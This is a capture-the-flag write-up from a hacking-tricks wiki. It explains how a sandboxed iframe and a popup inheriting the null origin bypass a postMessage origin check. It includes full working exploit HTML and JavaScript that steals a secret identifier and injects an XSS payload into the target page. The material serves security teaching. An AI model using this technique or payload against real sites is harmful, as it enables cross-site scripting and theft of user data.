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In this challenge created by NDevTK and Terjanq you need you need to exploit a XSS in the coded
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
The main problem is that the main page uses DomPurify to send the data.body
, so in order to send your own html data to that code you need to bypass e.origin !== window.origin
.
Let's see the solution they propose.
When //example.org
is embedded into a sandboxed iframe, then the page's origin will be null
, i.e. window.origin === null
. So just by embedding the iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
we could force the null
origin.
If the page was embeddable you could bypass that protection that way (cookies might also need to be set to SameSite=None
).
The lesser known fact is that when the sandbox value allow-popups
is set then the opened popup will inherit all the sandboxed attributes unless allow-popups-to-escape-sandbox
is set.
So, opening a popup from a null origin will make window.origin
inside the popup also null
.
Therefore, for this challenge, one could create an iframe, open a popup to the page with the vulnerable XSS code handler (/iframe.php
), as window.origin === e.origin
because both are null
it's possible to send a payload that will exploit the XSS.
That payload will get the identifier and send a XSS it back to the top page (the page that open the popup), which will change location to the vulnerable /iframe.php
. Because the identifier is known, it doesn't matter that the condition window.origin === e.origin
is not satisfied (remember, the origin is the popup from the iframe which has origin null
) because data.identifier === identifier
. Then, the XSS will trigger again, this time in the correct origin.
<body>
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.